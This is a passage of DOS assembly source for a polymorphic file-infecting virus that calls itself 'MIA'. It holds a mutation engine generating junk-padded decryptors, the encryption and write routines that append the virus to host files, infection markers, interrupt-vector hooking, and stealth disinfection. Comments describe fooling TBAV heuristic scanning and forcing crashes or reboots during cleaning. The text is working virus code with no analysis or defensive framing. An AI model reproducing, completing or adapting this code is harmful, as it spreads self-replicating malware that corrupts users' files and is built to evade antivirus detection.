                           SubTtl Dum spiro, spero!


Fractions:
 dw     offset Countermove     ; \
 dw     offset Centralpoint    ;   \
 dw     offset Build_Cipher    ;    > Five main parts of polymorphic decryptor
 dw     offset Bombshell       ;   /
 dw     offset Countless       ; /

Intervention:
 dw     offset Subroutine      ; Subroutines creation
 dw     offset Trash_Call      ; "Worthless" calls
 dw     offset Conditional     ; A lot of "useless" conditional jumps
 dw     offset Caller
 dw     offset Total_Garbage   ; A dumptruck of garbage
 dw     offset Future_Generation
 dw     offset Garbage_Stack   ; Some trashes between PUSH and POP

Countermove:                   ; Make a MOV SI,XXXX or MOV DI,XXXX
 mov    al,0BEh
 add    al,ds:[Resultant]
 stosb
 mov    ax,offset Decryptor - offset BootStrap
 stosw
 ret

Centralpoint:                  ; Create pointer to encrypted codes
 call   Total_Garbage
 mov    al,0BFh                
 sub    al,ds:[Resultant]      ; SI or DI ?
 stosb
 lea    bx,[bp + 4Bh]          ; LEA    BX,[BP + OFFSET BootStrap]
 test   ds:[Direction],01h
 jz     Ahead
 add    bx,(offset Decryptor - offset BootStrap) - 01h

Ahead:
 mov    al,ds:[Displacement]   ; Get memory addressing displacement
 cbw 
 cmp    al,80h                 ; This is invalid: XOR CS:[SI+80],CL
 jne    Normal                 ; the valid one is: XOR CS:[SI-80],CL
 inc    ah                     ; So add 256 bytes

Normal:
 add    ax,bx
 stosw
 jmp    Total_Garbage          ; Fill with trashes
 
Build_Cipher:                  ; Generate decryptor instruction
 call   Nullify                ; Don't generate a CALL to subroutine outside
 call   Rand16                 ; decryption loop!
 jnp    Reggies                ; Decide using a register or not
 mov    ax,(offset Storage - offset Encryptor) / 03h
 call   Ranger
 imul   ax,0003h               ; Integer: multiply by 3
 add    ax,offset Encryptor
 mov    si,ax
 lodsb                         ; Load a decryptor
 mov    ds:byte ptr [Slack + (Food - Fixup)],al
 lodsw
 xchg   bx,ax
 mov    ds:byte ptr [Slack + (Feed - Fixup)],bh
 cmp    bh,12h                 ; ADC opcode?
 je     Perceive
 cmp    bh,1Ah                 ; SBB opcode?
 jne    Eliminate

Perceive:
 call   Decide                 ; Choose either CLC or STC

Eliminate:
 call   Compound               ; Choose segment override
 mov    ah,80h                 ; Indicate memory operation
 stosw
 xchg   bx,ax
 xor    al,ds:[Resultant]
 stosb
 mov    al,ds:[Displacement]
 mov    ah,ds:byte ptr [Slack + (Keybyte - Fixup)]
 neg    al
 stosw
 ret

Reggies:                       ; Use immediate or memory referenced MOV ??
 jc     Intersegment           ; Jump for memory reference
 mov    al,ds:[Overdrive]      ; Get chosen 8-bit register
 sar    al,03h                 ; Divide by 8
 or     al,0B0h                ; Make it immediate operand
 mov    ah,ds:byte ptr [Slack + (Keybyte - Fixup)]
 jmp    short Resemble

Intersegment:                  
 mov    al,ds:byte ptr [Slack + (Keybyte - Fixup)]
 mov    ds:byte ptr [VirEnd - 01h],al
 call   Compound               ; Get segment prefix
 mov    ah,8Ah
 stosw
 mov    al,ds:[Overdrive]      ; Get chosen byte register
 or     al,06h
 stosb
 lea    ax,[bp + (Mutant - 01h) + (offset Decryptor)]

Resemble:
 stosw
 mov    ax,(offset Encryptor - offset Encoder) / 03h
 call   Ranger
 imul   ax,0003h               ; Multiply by 3
 xchg   si,ax
 add    si,offset Encoder
 lodsb
 mov    ds:byte ptr [Slack + (Food - Fixup)],al
 lodsw
 mov    ds:byte ptr [Slack + (Feed - Fixup)],al
 cmp    al,12h                 ; ADC opcode?
 je     Convince
 cmp    al,1Ah                 ; SBB opcode?
 jne    Flush

Convince:
 call   Decide                 ; Choose either CLC or STC

Flush:
 call   Compound               ; Choose segment prefix
 stosw
 mov    al,ds:[Overdrive]
 or     al,45h
 xor    al,ds:[Resultant]
 mov    ah,ds:[Displacement]   ; Get displacement
 neg    ah
 stosw
 ret

Decide:
 in     al,40h
 and    al,01h                 ; 0 or 1 ?
 or     al,0F8h                ; CLC/STC
 mov    ds:byte ptr [Slack + (Interplay - Fixup) + 01h],al
 stosb
 ret

Bombshell:                     ; Generate a pointer increment/decrement
 call   Rand16                 ; It can be SUB SI,FFFF/ADD SI,FFFF/SUB DI,FFFF/
 jnz    Queer                  ; ADD DI,FFFF/INC SI/DEC SI/INC DI/DEC DI/LODSB/
 mov    ax,0C783h              ; ADD DI,XXXX
 sub    ah,ds:[Resultant]      ; Swap SI/DI
 test   ds:[Direction],01h     ; Forward or backward?
 jnz    Rising                 ; Branch if backward
 xor    ah,28h                 ; Change ADD to SUB

Rising:
 stosw
 or     al,0FFh                ; Only a byte?!? 

Mainstay:
 stosb
 ret

Queer:
 pushf
 mov    ax,0FC47h              ; CLD + INC  SI/DI
 test   ds:[Direction],01h
 jz     Backdoor
 add    ax,0108h               ; STD + DEC  SI/DI

Backdoor:
 sub    al,ds:[Resultant]
 popf
 js     Mainstay
 test   al,01h
 mov    al,0AEh                ; SCASB opcode
 jnz    Determine
 dec    ax                     ; Else, it'd be LODSB
 dec    ax

Determine:
 xchg   ah,al
 stosw
 ret

Countless:                     ; Make a decryption loop but not use LOOPs
 call   Rand16
 pushf
 jnc    Circular               ; Use decrement or ADD XI,XXXX ??
 mov    ax,744Eh               
 add    al,ds:[Resultant]
 jmp    short Distinguish

Circular:                      ; ADD SI,FFFF/ADD DI,FFFF
 mov    ax,0C683h
 xor    ah,ds:[Resultant]      ; SI/DI
 stosw
 mov    ax,74FFh               

Distinguish:
 popf
 jz     ZeroLoop               ; Turn JZ into JS/JL/JLE, they equal but JS & JL
 mov    ah,78h                 ; do one more excess loop, and the byte just
 jnc    ZeroLoop               ; before (last byte of buffer) or after (first
 mov    ah,7Ch                 ; byte of decryptor) encrypted area ain't used.
 jp     ZeroLoop
 mov    ah,7Eh                 ; JLE opcode

ZeroLoop:
 stosw
 push   di
 scasb
 call   Total_Garbage          ; Fill with garbage
 call   Construction
 mov    ax,ds:[R_Bytes]
 sub    ax,di
 dec    ax
 dec    ax                     ; Make a decryption loop 
 stosw
 jmp    short Wind_it_up

Subroutine:                    ; Create a subroutine in decryptor
 cmp    ds:[HiSiz],0001h
 jae    Unavailable            ; A subroutine already built and not called yet?
 call   Construction
 push   di
 mov    ds:[HiSiz],di
 scasw                         ; Preserve a word for jump displacement

Build_Return:
 call   Total_Garbage          ; Fill with junks
 mov    al,0C3h
 stosb                         ; Store a RETN
 xchg   ax,di
 pop    di                     ; Point DI to jump displacement
 push   ax
 sub    ax,di                  ; Subtract current offset from DI
 dec    ax
 dec    ax                     ; Subtract JMP displacement length too
 stosw                         ; Store displacement
 pop    di
 ret

Trash_Call:                    ; Generate a call to subroutine
 mov    cx,ds:[HiSiz]
 jcxz   Unavailable            ; Subroutine already built? branch if not
 mov    al,0E8h
 stosb                         ; A near call
 xchg   cx,ax
 sub    ax,di                  ; Calculate displacement
 stosw

Nullify:
 and    ds:[HiSiz],0000h       ; Mark that there is no subroutine

Unavailable:
 ret

Conditional:                   ; Choose one of twenty conditional branches
 cmp    di,offset Slack + (offset Lseek_BOF - offset Fixup) + (offset Decryptor - offset Disk_IO) + 04h
 jna    Unavailable            ; Don't make it as first instruction
 mov    ax,0014h
 call   Ranger                 ; Random number [0..20]
 test   al,10h                 ; Test bit 4
 lahf                          ; Store CF, ZF, SF, PF, and AF state into AH
 or     al,70h                 ; Make it a conditional JMP
 sahf                          ; Restore 6 flags
 jz     Eventual               ; Bit 4 isn't set? so use conditional jumps 
 add    al,70h                 ; MIA also uses LOOPZ/LOOPNZ/LOOP/JCXZ 
                               ; 'cos it's like a JMP that affects CX register
Eventual:
 stosb                         ; Put it
 push   di                     ; Save displacement offset
 inc    di                     

Wind_it_up:
 call   Total_Garbage          ; Fill with garbage
 xchg   di,ax
 pop    di
 push   ax
 sub    ax,di
 dec    ax
 stosb                         ; Put displacement
 pop    di

Discontinue:
 ret


                      SubTtl Mora, aut honorabilis vita!


Caller:                        ; Generate a call for decryptor parts
 cmp    ds:[ReadOff],0001h     
 jae    Discontinue            ; Zero?
 mov    bl,ds:[Pointer]        ; Pointer to decryptor building
 inc    bx
 cmp    bl,05h                 ; Remains the last part of decryptor?
 je     Discontinue            ; So branch
 call   Construction
 push   di
 mov    ds:[ReadOff],di        ; Save displacement offset
 scasw
 push   bx
 call   Total_Garbage          ; Fill with trashes
 pop    bx
 call   Entrance               ; Put one decryptor instruction
 jmp    short Build_Return     ; Fill with garbage again

Total_Garbage:                 ; Create some rubbish
 call   Rand16
 and    ax,0003h
 inc    ax
 inc    ax                     ; 2 to 5 instructions please...

Fill:
 push   ax
 mov    al,(offset Encoder - offset Operator) / 02h
 cmp    ds:[Pointer],ah        ; So don't generate interrupt calls within
 je     Neutral                ; decryption loop, branch if not in loop yet
 dec    ax                     
 dec    ax                     ; Skip 2 subroutines

Neutral:
 call   Ranger                 ; Random in range
 shl    ax,01h
 xchg   bx,ax
 call   ds:word ptr [bx + Operator]
 pop    ax
 cmp    di,(Mutant - 07h) + offset Slack + (offset Lseek_BOF - offset Fixup) + (offset Decryptor - offset Disk_IO) + 04h
 jae    Overflow               ; What the hex!
 dec    ax
 jnz    Fill

Overflow:
 ret

Future_Generation:
 inc    ds:[Pointer]           ; Next part of decryptor
 cmp    ds:[ReadOff],0000h
 je     Time_To_Build          ; Empty? time to build!
 cmp    ds:[Pointer],03h
 jne    Store_No_Call
 mov    ds:[R_Bytes],di

Store_No_Call:
 mov    al,0E8h                ; Create a near call
 stosb
 mov    ax,ds:[ReadOff]        ; A call to a subroutine
 sub    ax,di
 stosw
 and    ds:[ReadOff],0000h     ; And empty buffer
 ret

Garbage_Stack:                 ; Generate garbage between PUSH and POP
 call   Push_Pop
 dec    di
 mov    al,ds:[di]
 push   ax
 call   Total_Garbage          ; Fill with junks
 pop    ax
 stosb
 ret

Entrance:                      ; Make one decryptor instruction
 sub    bh,bh
 rol    bx,01h                 ; Rotate a bit to the left
 jmp    ds:word ptr [bx + Fractions - 02h]

Time_To_Build:
 mov    bl,ds:[Pointer]
 cmp    bl,03h
 jne    Entrance
 dec    ds:[Pointer]
 ret

Single:                        ; Put one-byte junks
 mov    ax,offset Fixup - offset Ones
 mov    bx,offset Ones

Interrupts:
 call   Ranger                 ; Random number between from zero to AX
 pop    cx                     ; Pop caller's next IP into CX
 xlat                          ; Load a one-byte opcode
 push   cx                     ; Push again caller's next IP
 cmp    cx,offset Insert_Nothing
 jne    Delved                 ; Is it gonna be put between NEG/NOT opcode?
 cmp    al,0CCh                ; INT 03h ? (needs stack)
 je     Single                 ; Take another opcode
 cmp    al,0CEh                ; INTO ? (ditto)
 je     Single                 ; Yeah, obtain another opcode

Delved:
 stosb                         ; Store an opcode

Used:
 ret

Invoke:
 mov    al,0CDh                ; Make an interrrupt calls
 cmp    ds:[di - 02h],al
 je     Used                   ; Don't generate two interrupts in same row
 stosb
 mov    ax,offset Ones - offset Multimax
 mov    bx,offset Multimax     ; Choose random interrupts from table
 jmp    short Interrupts

Resource:                      ; Generate INT calls with certain AH/AX value
 call   Rand16
 jz     Offhand                ; Determine, use AH or AX
 mov    al,0B4h
 stosb                         ; So use AH
 mov    ax,(offset Wordz - offset Bytez) / 02h
 mov    si,offset Bytez
 call   Ranger
 add    ax,ax
 add    si,ax
 movsb
 jmp    short Trickle

Offhand:
 mov    al,0B8h                ; MOV AX,XXXX
 stosb
 mov    ax,(offset Multimax - offset Wordz) / 03h
 mov    si,offset Wordz        ; Get a word from table
 call   Ranger
 imul   ax,0003h
 add    si,ax
 movsw                         ; Put in decryptor

Trickle:
 mov    al,0CDh                ; INT opcode
 stosb
 movsb
 ret

Mover:                         ; Make a junk inter-registers MOV
 call   Rand16                 
 and    ax,3F01h               ; A 8/16-bit register...
 or     ax,0C08Ah              ; Of course a MOV  XX,YY
 test   al,01h                 ; 8-bit?
 jz     Othertype              
 and    ah,0DBh                ; AX, BX, CX, DX ?

Othertype:
 stosw                         ; Don't care if source equals destination
 ret

Immediate:                     ; Make a MOV with immediate value
 call   Rand16
 and    al,0Fh
 or     al,0B0h
 test   al,08h
 jz     Bits
 and    al,0FBh
 mov    ah,al
 and    ah,03h
 stosb
 call   Rand16
 stosw                         ; Get a random word
 ret

Bits:
 stosb
 xchg   al,ah                
 stosb                         ; Put immediate byte
 ret

Reference:                     ; Create a MOV with memory reference
 call   Compound               ; May MIA use any segment override?
 stosb                         
 call   Rand16
 and    ax,3803h
 or     ax,0688h
 test   al,01h                 ; Byte or word pointer?
 jz     Eight_Bits
 and    ah,1Eh

Eight_Bits:
 stosw
 test   al,02h                 ; Move into or from memory?
 jz     Irremovable            ; Branch if into memory
 call   Segmented
 mov    ds:[di - 03h],al
 call   Rand16                 ; Also random memory address
 jmp    short Rejoin           ; Why should jump?

Irremovable:                   ; Be careful not to overwrite My baby's codes
 mov    ax,offset BootStrap - (offset Buffy + 19h)
 call   Ranger
 add    ax,bp
 add    ax,offset Buffy + 18h  ; Point to unused gap inside MIA's body

Rejoin:
 stosw
 ret

Compute:                       ; Generate random calculation with memory
 call   Reference
 push   di
 lea    di,[di - 04h]          ; Point back to instruction
 mov    al,ds:[di]
 and    al,03h
 xchg   bx,ax
 call   Rand16
 and    al,38h                 ; One math opcode
 or     al,bl
 stosb
 pop    di
 ret

Exchanger:                     ; Do a XCHG  XX,YY
 call   Mover                  ; Generate MOV version
 dec    di
 dec    di                     ; Point to that instruction again
 test   al,01h                 ; Was it a 8-bit or 16-bit MOV ?
 mov    al,86h                 ; 8-bit XCHG opcode
 jz     Corrected              ; Jump if 8-bit
 inc    ax                     ; Swap it to 16-bit

Corrected:
 stosw
 ret

Rotation:                      ; Generate ROL/ROR/SAL/SAR/RCL/RCR  XX,CL/01
 mov    ax,0005h               ; Random [0..4] (Get AX, BX, CX, DX, or SP ??)
 call   Ranger
 cmp    al,04h                 ; SP register?
 jb     Fine
 inc    ax                     ; Don't mess with SP!! use BP instead

Fine:
 xchg   bx,ax                  ; Save it
 call   Rand16                 ; Get random word
 and    ax,0D8D3h
 or     ax,0C0D1h
 or     ah,bl                  ; Set up register
 stosw
 ret

Effective:                     ; Create a load-effective-address instruction
 mov    dx,0040h
 in     al,dx                  ; Input from PIT counter 0
 or     al,al
 jp     Confused               
 call   Rand16
 and    al,3Eh                 ; Confuse it by using segment prefix
 or     al,26h
 stosb

Confused:
 mov    ax,0028h               ; Choose register displacement
 call   Ranger
 test   al,20h                 ; SP ?
 jz     Valid
 add    al,08h                 ; Use BP instead

Valid:
 mov    ah,8Dh                 ; LEA opcode
 xchg   al,ah
 stosb
 in     al,dx                  ; Input from PIT
 and    al,01h
 xchg   ah,al
 jnz    Sequence               ; Using byte/word immediate displacement
 or     al,80h
 stosb
 call   Rand16                 ; Word displacement
 stosw
 ret

Sequence:
 or     al,dl                  ; Else, use byte
 stosb
 in     al,dx                  ; Random byte from PIT
 stosb
 ret

Launcher:                      ; Create "invalid" AAM opcode
 call   Rand16              
 mov    al,0D5h                
 jmp    short Tester

Machine:                       ; Make a SMSW XX (Store Machine Status Word)
 mov    ax,010Fh
 cmp    ds:[di - 03h],ax       ; Not same in a row
 je     Flaw
 stosw
 mov    ax,0005h
 call   Ranger                 ; An old instruction that came with LOADALL but
 cmp    al,04h                 ; the most interesting "feature" is that it can 
 mov    ah,0E5h                ; fool TBAV heuristic scanning... 8-)
 xchg   al,ah                  ; "Encountered an invalid instruction" !!!
 jnb    Store_Status           
 sub    al,05h
 add    al,ah                  ; Make SMSW AX, BX, CX, DX, or BP

Store_Status:
 stosb
 ret


                          SubTtl Esse quam videri...


Undefined:                     ; Generate CLTS opcode (fool TBAV too!!)
 mov    ax,060Fh
 cmp    ds:[di - 02h],ax       ; Not same in same row
 je     Flaw
 stosw

Flaw:
 ret

Inputs:                        ; Make an input from random 8-bit port
 call   Rand16
 mov    al,0E5h                ; Immediate input opcode (input into AX)
 jnp    Tester
 dec    ax                     ; 0E4h = input into AL

Tester:
 cmp    ds:[di - 02h],al       ; Repeat, never never monomorphic!!
 je     Flaw
 stosw
 ret                           

Outputs:                       ; Generate direct output onto (dummy?) port
 call   Rand16
 mov    ax,0EDE7h              ; This time there are two ports:
 js     Tester                 
 xor    ax,0601h               ; Port 00EBh (byte) and port 00EDh (word)
 jmp    short Tester

Multiplication:                ; Make a MUL/IMUL instruction with register
 call   Rand16                 ; operand
 mov    al,0F6h
 jz     Byte_Type              ; Byte or word? jump for byte
 inc    ax

Byte_Type:
 and    ah,0Fh                 ; Use any register for operand
 or     ah,0E0h                ; AL/BL/CL/DL/AH/BH/CH/DH/AX/BX/CX/DX/SI/DI/BP/SP
 jmp    short Tester

Push_Pop:                      ; Play with stack: PUSH and POP
 mov    ax,offset Retrieve - offset Storage
 mov    bx,offset Storage
 call   Ranger
 xlat                          ; MOV AL,DS:[BX+AL]
 stosb
 cmp    al,60h                 ; PUSHA opcode?
 jne    PopWord                ; Branch if not
 inc    ax
 jmp    short All_Pop          ; Must be followed by POPA

PopWord:
 cmp    al,68h                 ; Immediate PUSH ?
 je     Lodge                  ; Yup, so jump
 cmp    al,0FFh                ; Memory-referenced PUSH ?
 jne    Cocked                 ; Nope, so jump
 dec    di                     ; Abort last STOSB, 8-)
 in     al,40h
 or     al,al                  ; Put prefix or not?
 jp     Antiprefix             ; Ah! skip!
 call   Segmented
 stosb                         ; Ho ho ho... any prefix will do

Antiprefix:
 mov    ax,36FFh               ; PUSH WORD PTR [XXXX]
 stosw

Lodge:
 call   Rand16
 stosw                         ; Get random word

Cocked:
 mov    ax,offset Bytez - offset Retrieve
 mov    bx,offset Retrieve
 call   Ranger
 xlat                          ; MOV AL,DS:[BX+AL]

All_Pop:
 stosb
 ret

Overrun:                       ; Generate NEG/NOT  AX/BX/CX/DX/BP/SP !!
 mov    al,04h
 cmp    ds:[Deathblow],02h
 jb     Allowed                ; SP must be the first, 8-)
 mov    ax,0006h
 call   Ranger                 ; Choose AX, BX, CX, DX, BP, or SP

Allowed:
 cmp    al,04h                 ; SP register?
 lahf
 mov    cl,al
 in     al,40h                 ; Input from PIT counter
 or     cl,0D0h                
 test   al,al                  ; Able to eliminate TBAV ! if NEG  SP used,
 jp     Hiccup                 ; heuristic cleaning will stop with "Approached
 xor    cl,08h                 ; stack crash." else if NOT  SP used, system
                               ; will cold-reboot unexpectedly!!
Hiccup:
 sahf
 mov    al,0F7h
 xchg   cl,ah
 jne    Preserve               ; Using SP ? branch if not
 stosw                         ; Store it
 push   ax
 mov    ax,((offset Remain - offset Operator) / 02h) + 01h
 call   Ranger
 cmp    al,(offset Remain - offset Operator) / 02h
 je     Insert_Nothing
 add    ax,ax                  ; Make sure MIA isn't gonna generate
 xchg   bx,ax                  ; a stack-in-need garbage
 call   ds:word ptr [bx + Operator]

Insert_Nothing:                ; There's a chance not to insert garbage
 pop    ax
 inc    ds:[Deathblow]         ; Increase counter

Preserve:
 stosw
 ret

Compound:                      ; Choose segment override for memory operations
 mov    al,2Eh                 ; CS: is the default
 cmp    bp,000Fh               ; Check delta offset
 jbe    Contrast               ; If below 16 then it's an .EXE file, can only
                               ; use CS !!
Segmented:
 in     al,40h                 ; Else,
 and    al,3Eh                 ; MIA can use any segment override
 or     al,26h                 ; DS:/ES:/SS:/CS:

Contrast:
 ret

Construction:
 cmp    bp,0010h               ; .COM or .EXE file?
 jb     Fever                  ; Bomb if .EXE
 cmp    di,offset Slack + (offset Lseek_BOF - offset Fixup) + (offset Decryptor - offset Disk_IO) + 04h
 jna    Delimit                ; Don't generate a JMP in another JMP's target

Fever:                         ; Check whether previous instruction is RETN
 cmp    ds:byte ptr [di - 01h],0C3h
 jne    Especial               ; Actually, not only RETN will proceed here
                               ; but it doesn't matter
Delimit:
 push   bx
 mov    ax,(offset Remain - offset Suspicious) / 02h
 call   Ranger
 shl    ax,01h                 ; Multiply by 2
 xchg   si,ax
 call   ds:word ptr [si + Suspicious]
 pop    bx

Especial:
 mov    al,0E9h                ; Store a near JMP opcode
 stosb
 ret

Operator:
 dw     offset Single          ; \
 dw     offset Mover           ;   \
 dw     offset Immediate       ;     \
 dw     offset Reference       ;       \ 
 dw     offset Compute         ;         \
 dw     offset Exchanger       ;           \   
 dw     offset Rotation        ;             \   
 dw     offset Effective       ;               \   
                               ;                 \
Suspicious:                    ;                   \   Garbage, trash, rubbish,
 dw     offset Launcher        ;                     \ junks or whatever You call
 dw     offset Machine         ;                     / it worthless instruction!!
 dw     offset Undefined       ;                   /   
 dw     offset Inputs          ;                 /   
 dw     offset Outputs         ;               /
 dw     offset Multiplication  ;             /
                               ;           /
Remain:                        ;         /
 dw     offset Push_Pop        ;       /
 dw     offset Overrun         ;     /
 dw     offset Invoke          ;   /
 dw     offset Resource        ; /

Encoder:
 db     02h,2Ah,00h,1Ah,12h,18h,2Ah,02h,28h,12h,1Ah,10h,32h,32h,30h

Encryptor:
 db     02h,45h,2Ah,1Ah,5Dh,12h,2Ah,6Dh,02h,12h,55h,1Ah,32h,75h,32h

Storage:
 pushf
 push   ax bx cx dx si di bp sp ds es ss cs
 pusha
 db     68h,0FFh

Retrieve:
 pop    ax bx cx dx bp

Bytez   db 0Fh,10h             ; AH=0Fh, INT 10h, get current video mode
        db 01h,13h             ; AH=01h, INT 13h, get disk status
        db 36h,14h             ; AH=36h, INT 14h, ComShare installation check
        db 43h,15h             ; AH=43h, INT 15h, read system status
        db 88h,15h             ; AH=88h, INT 15h, get extended memory size
        db 01h,16h             ; AH=01h, INT 16h, keyboard keystroke check
        db 02h,16h             ; AH=02h, INT 16h, get SHIFT key flags state
        db 70h,16h             ; AH=70h, INT 16h, SEA FAKEY installation check
        db 60h,17h             ; AH=60h, INT 17h, Flash-Up installation check
        db 61h,17h             ; AH=61h, INT 17h, SPEEDSCR installation check
        db 00h,1Ah             ; AH=00h, INT 1Ah, get number of clock ticks
        db 02h,1Ah             ; AH=02h, INT 1Ah, get real-time clock time
        db 04h,1Ah             ; AH=04h, INT 1Ah, get real-time clock date
        db 0Bh,21h             ; AH=0Bh, INT 21h, get standard input status
        db 30h,21h             ; AH=30h, INT 21h, get DOS version
        db 4Dh,21h             ; AH=4Dh, INT 21h, get program's return code
        db 51h,21h             ; AH=51h, INT 21h, get current PSP segment
        db 54h,21h             ; AH=54h, INT 21h, get verify flag state
        db 62h,21h             ; AH=62h, INT 21h, get current PSP segment
        db 00h,2Ah             ; AH=00h, INT 2Ah, network installation check


                     SubTtl Mathesis scientiarum genetrix


Wordz   dw 0CCABh              ; Solar Designer's HiFont installation check
        db 10h                 ; INT 10h
        dw 0400h               ; Microsoft System Journal TSRCOMM INT 14h
        db 14h                 ; INT 14h
        dw 4DD4h               ; HP 95-LX/100-LX/200-LX installation check
        db 15h                 ; INT 15h
        dw 0F398h              ; Norton Guides installation check
        db 16h                 ; INT 16h
        dw 4B00h               ; Brother P-Touch installation check
        db 17h                 ; INT 17h
        dw 3300h               ; Extended break check
        db 21h                 ; INT 21h
        dw 5800h               ; Get memory allocation strategy
        db 21h                 ; INT 21h
        dw 0FF92h              ; PC/TCP PREDIR.EXE installation check
        db 2Ah                 ; INT 2Ah
        dw 1600h               ; MS Windows enhanced mode installation check
        db 2Fh                 ; INT 2Fh
        dw 4010h               ; OS/2 v2.00+ installation check / get version
        db 2Fh                 ; INT 2Fh
        dw 8200h               ; Nanosoft CAPDOS installation check
        db 2Fh                 ; INT 2Fh
        dw 9900h               ; DOS Navigator II installation check
        db 2Fh                 ; INT 2Fh
        dw 0B700h              ; APPEND.EXE installation check
        db 2Fh                 ; INT 2Fh

Multimax:
 db     01h                    ; INT 01h - single step interrupt
 db     04h                    ; INT 04h - INTO detected overflow
 db     08h                    ; INT 08h - IRQ 0, system timer
 db     0Ah                    ; INT 0Ah - IRQ 2, LPT2
 db     0Bh                    ; INT 0Bh - IRQ 3, serial COM2-COM8
 db     0Ch                    ; INT 0Ch - IRQ 4, serial COM1
 db     0Dh                    ; INT 0Dh - IRQ 5, fixed disk/LPT2/reserved IRQ
 db     0Eh                    ; INT 0Eh - IRQ 6, diskette controller
 db     0Fh                    ; INT 0Fh - IRQ 7, LPT1
 db     11h                    ; INT 11h - BIOS, get equipment list
 db     12h                    ; INT 12h - BIOS, get conventional memory size
 db     1Ch                    ; INT 1Ch - system timer tick (called by IRQ 0)
 db     28h                    ; INT 28h - DOS 2.00+ idle interrupt
 db     2Bh                    ; INT 2Bh - reserved for IBM ROM-DOS v4.00 ??
 db     70h                    ; INT 70h - IRQ 8, CMOS RTC (Real-Time Clock)
 db     71h                    ; INT 71h - IRQ 9, redirected to IRQ 2
 db     72h                    ; INT 72h - IRQ 10, reserved IRQ
 db     73h                    ; INT 73h - IRQ 11, reserved IRQ
 db     74h                    ; INT 74h - IRQ 12, pointing device
 db     75h                    ; INT 75h - IRQ 13, coprocessor exception
 db     76h                    ; INT 76h - IRQ 14, hard disk controller
 db     77h                    ; INT 77h - IRQ 15, reserved IRQ

Ones:                          ; One-byte instructions...
 aaa                           ; ASCII adjust AX after addition
 aas                           ; ASCII adjust AX after subtraction
 clc                           ; Clear carry flag
 cld                           ; Clear direction flag
 cli                           ; Clear interrupt flag
 cmc                           ; Complementary carry (toggle carry flag state)
 cwd                           ; Convert word (AX) into doubleword (DX:AX)
 daa                           ; Decimal adjust AX after addition
 das                           ; Decimal adjust AX after subtraction
 dec    ax                     
 dec    bx
 dec    cx
 dec    dx
 dec    bp
 in     al,dx
 in     ax,dx
 inc    ax
 inc    bx
 inc    cx
 inc    dx
 inc    bp
 int    03h
 into                          ; Generate INT 04h if overflow flag is set
 lahf                          ; Store low 8-bit flags into AH
 nop
 repe                           
 repnz                         
 sahf                          ; Set low 8-bit flags equal to AH
 setalc                        ; SETALC opcode (equal to SBB AL,AL)
 stc                           ; Set carry flag
 std                           ; Set direction flag
 sti                           ; Set interrupt flag
 wait                          ; Halt CPU until FPU finishes current opcode
 xchg   ax,bx
 xchg   ax,cx
 xchg   ax,dx
 xchg   ax,bp
 xlat                          ; MOV AL,DS:[BX+AL]

Fixup:
 db     0B4h                   ; MOV AH,XX

Keybyte db 00h                 ; Dis is the cipher!

 mov    cx,offset Decryptor - offset BootStrap
 mov    si,offset BootStrap

Interplay:
 lodsb                         ; Load a byte
 clc

Feed    db 32h,0C4h            ; ADD AL,AH/XOR AL,AH/SUB AL,AH/ADC AL,AH/SBB AL,AH

 mov    ds:[si - 01h],al       ; Put it back
 loop   Interplay
 ret

Strike:
 call   Fixup                  ; Now encrypt!
 mov    ds:byte ptr [Slack + (Feed - Fixup)],00h

Food    equ $ - 01h            ; Swap encryption type

 mov    ah,40h
 mov    cx,VirLen              ; Virus length to write
 cwd                           ; SUB  DX,DX (AX must be positive)
 mov    di,offset Buffy
 int    03h
 sbb    cx,ax                  ; if CX = AX, all requested bytes written
                               ; either, the disk might be full
 pushf
 call   Fixup                  ; Time to decrypt!
 popf
 ret                           ; And return

Lseek_BOF:
 xor    al,al
 db     0A9h                   ; TEST AX,02B0

Lseek_EOF:
 mov    al,02h

Lseeker:
 mov    ah,42h                 ; File R/W pointer movement function
 sub    cx,cx                  ; Zero CX
 cwd                           ; Convert word into doubleword: AX ÄÄÄ DX:AX
 int    03h
 ret

RightWrite:
 mov    ah,40h                 ; Write function
 int    03h
 sbb    ax,cx                  ; AX = zero and ZF=1 if successful
 ret

Undress:
 mov    si,offset Buffy

Scrap:
 push   cx si
 mov    cx,0018h               ; 24 bytes header

Shatter:
 neg    ds:byte ptr [si]       ; Lame garbling, as You can see... ;-)
 inc    si
 dec    cx                     ; Why not use LOOP instead?
 jnz    Shatter                ; Well, we need ZF to be set on return
 pop    si cx
 ret

Read_Head:
 mov    ax,4200h
 sub    dx,VirLen
 sbb    cx,0000h               ; Subtract virus length from file size
 int    03h                    ; Move R/W pointer to EOF / BOV
 mov    ah,3Fh
 mov    cx,0018h + (offset Buffy - offset VirBeg)
 mov    dx,offset Buffy
 mov    si,dx
 int    03h
                               ; Check whether file's really infected of not
Seamless:
 lodsw
 xor    ax,0EBFCh              ; CLD + short JMP opcode??
 jnz    Undone
 lodsb
 add    al,0B8h                ; 48h ?
 jz     Scrap                  ; If ZF=1, the file has really been infected

Undone:
 ret

Frantic:
 call   Flip                   ; Push all registers
 sub    si,si
 mov    ds,si

 mov    ax,ds:[si + 0Ch]       ; Get offset of INT 03h from IVT
 xchg   cs:word ptr [Viral_Interrupt],ax
 mov    ds:[si + 0Ch],ax
 mov    ax,ds:[si + 0Eh]       ; Get segment of INT 03h from IVT
 xchg   cs:word ptr [Viral_Interrupt + 02h],ax
 mov    ds:[si + 0Eh],ax

 mov    cx,0003h               ; 3 bytes to patch
 lds    si,ds:[0090h]          ; Load the vector of INT 24h from IVT
 mov    di,offset Replacement  
 call   Exposure               ; Patch/dispatch it! 
 jmp    Unload                 ; Pop all registers and return


              SubTtl Est modus in rebus sunt certi denique fines


Overlook:
 les    dx,ds:dword ptr [LowSiz]
 mov    cx,es
 call   Read_Head              ; Make sure it's infected, if yes decrypt the
 jnz    Farewell               ; original header

 call   Lseek_BOF              ; Move R/W pointer to BOF
 mov    ah,40h
 mov    cl,18h
 mov    dx,si                  ; Write data at DS:DX to file at current position
 int    03h

 mov    ax,4202h               
 mov    cx,0FFFFh              ; Move R/W pointer backward from EOF (EOV)
 mov    dx,offset VirBeg - offset VirEnd
 int    03h

 mov    ah,40h
 xor    cx,cx                  ; And truncate the file!
 int    03h
 mov    ax,5700h
 int    03h                    ; Get file date/time stamps
 cmp    dh,0C7h 
 jbe    Farewell               
 sub    dh,0C8h                ; Millenium 2 rules... 8-D
 inc    ax
 int    03h

Farewell:
 jmp    Restore_Pointer        ; Restore R/W position and pass control to DOS


                   SubTtl Lento sed certo et recto gradu...


Disinfect:
 js     Overlook               ; Jump if SF=1, must disinfect the file!
 jnz    Detach                 ; Branch if ZF=0
